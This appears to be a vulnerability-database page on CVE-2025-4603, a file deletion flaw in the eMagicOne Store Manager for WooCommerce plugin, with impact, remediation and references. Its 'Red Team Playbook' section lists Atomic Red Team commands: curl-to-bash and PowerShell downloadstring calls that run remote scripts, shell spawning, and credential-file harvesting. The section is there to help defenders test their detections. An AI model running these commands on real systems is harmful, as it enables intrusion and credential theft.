CVE-2025-4603
Overview
This vulnerability is an arbitrary file deletion flaw caused by insufficient validation of file paths within the delete_file() function of the eMagicOne Store Manager for WooCommerce plugin. The affected component improperly sanitizes input parameters controlling file deletion operations, allowing manipulation of file paths. This weakness exists in all plugin versions up to and including 1.2.5, specifically in the file management feature handling deletion requests.
Vulnerability Description
The eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_file() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.
Impact
An unauthenticated attacker with access to default credentials or valid user credentials can delete arbitrary files on the server, including critical WordPress configuration files such as wp-config.php. This can lead to remote code execution or complete site compromise. The attack requires network access to the WordPress installation and either default or stolen credentials. The CVSS vector indicates no privileges or user interaction needed (AV:N/AC:L/PR:N/UI:N), emphasizing the high exploitability and potential for severe integrity and availability impact.
Solution
To remediate this vulnerability, upgrade the eMagicOne Store Manager for WooCommerce plugin to a version later than 1.2.5 where the issue is fixed. Detailed patch instructions and version updates are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/242ad00b-3602-4988-ab7a-76fba2e9d4cf. Additionally, ensure default credentials (1:1) are changed immediately to prevent unauthorized access until the patch is applied.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the eMagicOne Store Manager for WooCommerce plugin arises from inadequate validation of file paths within the delete_file() function. This flaw allows unauthenticated attackers to exploit the system by issuing requests that can lead to the deletion of arbitrary files on the server. The lack of stringent checks means that an attacker can manipulate the input to target critical files, such as configuration files or other sensitive data. This vulnerability is particularly concerning as it can be exploited in all versions up to and including 1.2.5, making it a widespread risk for users who have not updated their installations. The implications of this flaw extend beyond mere file deletion; it can facilitate remote code execution if an attacker manages to delete essential files that control the server's operations.
The attack vectors associated with this vulnerability are varied, primarily due to the ease with which an unauthenticated user can initiate an attack. In default configurations, where the plugin's default password remains unchanged, an attacker can leverage this weakness without needing any prior authentication. Additionally, if an attacker gains access to the credentials through other means, such as phishing or exploiting other vulnerabilities, they can execute more sophisticated attacks. Scenarios may include targeting the wp-config.php file, which contains sensitive database connection details, or other critical files that could lead to a complete compromise of the WordPress installation. The simplicity of the attack, combined with the high potential for damage, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be severe, especially for businesses relying on the affected plugin for their eCommerce operations. The ability to delete critical files can lead to service disruptions, loss of data, and significant downtime, all of which can result in financial losses and damage to reputation. Furthermore, if an attacker successfully executes remote code after exploiting this vulnerability, they could gain full control over the server, leading to further data breaches, theft of customer information, and potential compliance violations. The business risk is compounded by the fact that many organizations may not have adequate monitoring or incident response plans in place to detect such attacks in real-time.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the eMagicOne Store Manager for WooCommerce plugin to the latest version is crucial, as updates typically include patches for known vulnerabilities. Implementing strict file permissions and access controls can also help limit the potential impact of an attack. Additionally, employing web application firewalls (WAF) can provide an additional layer of defense by filtering out malicious requests before they reach the application. Organizations should also conduct regular security audits and vulnerability assessments to identify and remediate weaknesses in their systems proactively. Finally, educating staff about security best practices, including the importance of changing default passwords and recognizing phishing attempts, can further reduce the risk of exploitation.
In conclusion, the vulnerability in the eMagicOne Store Manager for WooCommerce plugin represents a significant threat to WordPress installations, particularly those that have not been updated or secured properly. The potential for arbitrary file deletion and subsequent remote code execution poses a serious risk to both the integrity of the application and the overall security posture of affected organizations. By understanding the technical details, attack vectors, and real-world implications, businesses can take informed steps to protect themselves from this and similar vulnerabilities.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Emagicone | Emagicone Store Manager For Woocommerce | All |
cpe:2.3:a:emagicone:emagicone_store_manager_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
d0n601/CVE-2025-4603
eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Deletion
|
d0n601 | 1 | 1 | 2025-05-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-4603 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/242ad00b-3602-4988-ab7a-76fba2e9d4cf?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/store-manager-connector/trunk/smconnector.php#L35-36 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/store-manager-connector/trunk/classes/class-emosmconnectorcommon.php#L2167 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/store-manager-connector/trunk/classes/class-emosmcwoocommerceoverrider.php#L380 |
| github.com |
GitHub CVE
|
https://github.com/d0n601/CVE-2025-4603/ |
| ryankozak.com |
GitHub CVE
|
https://ryankozak.com/posts/cve-2025-4603/ |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3308544/ |